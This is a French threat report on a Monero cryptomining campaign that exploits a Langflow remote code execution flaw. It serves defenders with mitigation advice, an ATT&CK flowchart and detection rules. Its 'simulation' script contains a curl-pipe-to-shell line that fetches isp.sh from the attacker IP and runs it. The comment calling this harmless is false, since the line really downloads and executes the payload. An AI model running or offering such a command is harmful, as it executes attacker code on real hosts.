Campagne Cryptomineur CVE-2026-33017 : De Langflow à Monero

SOC Prime Team

Suivre

Campagne Cryptomineur CVE-2026-33017 : De Langflow à Monero

Detection stack

AIDR
Alert
ETL
Query

Rapport
Flux d'Attaque
Détections
Simulations

Résumé

Une campagne de minage de cryptomonnaies exploite une faille d’exécution de code à distance non authentifiée dans Langflow pour déployer un mineur personnalisé basé sur Go. La chaîne d’attaque utilise un script bash pour établir la persistance et se déplacer latéralement à travers des clés SSH réutilisées. Le logiciel malveillant désactive également les mesures de sécurité au niveau de l’hôte et termine les processus de minage concurrents pour maximiser les ressources système disponibles.

Enquête

Les chercheurs ont surveillé la campagne sur une période de 19 jours et identifié un schéma d’exploitation cohérent impliquant un flow_id codé en dur et des chaînes d’agent-utilisateur rotatives. Leur enquête a révélé une intrusion en plusieurs étapes construite autour d’un binaire basé sur Go nommé lambsys.elf, qui gérait la dissimulation des défenses, la suppression des journaux et la persistance soutenue par un watchdog. Basé sur le comportement de suppression d’utilisateur et les techniques de déplacement latéral, on pense que la chaîne d’outils partage une lignée avec la famille KORKERDS ou MALXMR.

Atténuation

Les organisations doivent mettre à niveau Langflow vers la version 1.9.0 ou une version plus récente pour remédier au problème d’exécution de code à distance. Il est également fortement recommandé de bloquer l’exposition à Internet public des instances de Langflow et d’éviter de faire fonctionner le service avec des privilèges excessifs. Des contrôles supplémentaires doivent garantir que les flux publics ne puissent pas accepter d’entrée non authentifiée capable de déclencher l’exécution de code.

Réponse

Si cette activité est détectée, les équipes de sécurité doivent la traiter comme une compromission de cryptominage et un possible incident d’exposition de clé SSH. Les étapes immédiates devraient inclure la rotation de toutes les clés SSH potentiellement exposées et l’examen des hôtes connectés pour détecter des signes de mouvement latéral. Les équipes doivent également auditer les journaux système à la recherche de création ou suppression de compte non autorisée et inspecter les systèmes pour tout changement de configuration de sécurité non approuvé.

"flowchart TD step_reconnaissance["T1595.002 – Balayage Actif : Balayage de Vulnérabilités : Rotation de l’Agent-Utilisateur pour caractériser la cible et sonder la vulnérabilité auto_login"] step_exploitation["T1210 – Exploitation des Services à Distance : Exploitation de CVE-2026-33017 dans l’API Langflow via requête POST"] step_execution["T1059 – Exécution : Python __import__('os').system primitive pour déclencher des commandes shell"] step_ingress_transfer["T1105 – Transfert d’Outil Entrant : Téléchargement de la charge utile isp.sh via curl ou wget"] rules_for_ingress_transfer("Nom de la Règle : Chargement / Téléchargement de Fichier à Distance via Outils Standards (via cmdline) ID de la Règle : 02cefb3e-acaa-42f6-8118-611e4162f3ba<hr/>Nom de la Règle : Téléchargement de Fichier Suspect via IP Directe (via proxy) ID de la Règle : f0e46e70-111f-43a1-8853-d25f0b8683dd") step_persistence["T1053.003 – Persistance : Cron job et script de boucle bash (init_rmount) pour fonctionnalité de watchdog"] step_credential_access["T1552.004 – Accès aux Identifiants : Énumération des clés privées SSH et requête SSH_AUTH_SOCK"] step_lateral_movement["T1021.004 – Mouvement Latéral : Mécanisme de vers SSH ciblant les hôtes accessibles dans known_hosts"] step_defense_impairment["T1685 – Affaiblissement de la Défense : Désactivation de ufw, iptables, AppArmor et SELinux"] step_indicator_removal["T1070 – Suppression des Indicateurs : Suppression de /var/log/syslog pour entraver l’enquête"] step_command_and_control["T1102.003 – Commandement et Contrôle : lambsys.elf envoi de battements de cœur JSON via HTTP POST à 83.142.209.214"] step_resource_hijacking["T1496.001 – Détournement de Ressources : Détournement de Calcul : Déploiement de procq (XMRig) pour minage de Monero"] step_reconnaissance –>|mène à| step_exploitation step_exploitation –>|active| step_execution step_execution –>|initie| step_ingress_transfer step_ingress_transfer -.->|détectée par| rules_for_ingress_transfer step_ingress_transfer –>|mène à| step_persistence step_persistence –>|alors| step_credential_access step_credential_access –>|active| step_lateral_movement step_lateral_movement –>|mène à| step_defense_impairment step_defense_impairment –>|alors| step_indicator_removal step_indicator_removal –>|mène à| step_command_and_control step_command_and_control –>|résulte en| step_resource_hijacking "

Flux d’Attaque

Narratif et Commandes d’Attaque : L’attaquant identifie une instance vulnérable de Langflow fonctionnant sur un serveur Linux. En utilisant la vulnérabilité CVE-2026-33017, l’attaquant injecte une charge utile malveillante Python dans une requête. L’objectif est de contourner les défenses périmétriques et de déployer un cryptomineur Monero. La charge utile utilise os.system de Python pour invoquer /bin/sh, qui télécharge ensuite un script shell (isp.sh) depuis l’infrastructure de l’attaquant (83.142.209.214:8080) et l’achemine directement dans un shell pour une exécution immédiate.

Script de Test de Régression :

#!/bin/bash
# Simulation de l'exploitation CVE-2026-33017 via injection Python
# Ce script imite exactement la ligne de commande recherchée par la règle de détection.

echo "[+] Démarrage de la Simulation : Exploitation CVE-2026-33017"

# Nous utilisons python3 pour exécuter la chaîne de caractères spécifique requise par la logique de la règle
# Note : Nous ne téléchargeons rien réellement ; nous imitons simplement la chaîne de commande.
python3 -c "__import__('os').system('curl http://83.142.209.214:8080/isp.sh | sh')"

echo "[+] Commande de Simulation Exécutée."

Commandes de Nettoyage :

# Aucun changement permanent effectué par le script de simulation ;
# toutefois, si des fichiers factices ont été créés, ils doivent être supprimés.
echo "[+] Nettoyage des artefacts de simulation..."
# (Pas d'artefacts créés dans cette simulation spécifique de ligne de commande)

Rejoignez la plateforme Detection as Code de SOC Prime pour améliorer la visibilité sur les menaces les plus pertinentes pour votre entreprise. Pour vous aider à démarrer et à générer une valeur immédiate, planifiez dès maintenant une réunion avec des experts de SOC Prime.

Rejoindre gratuitement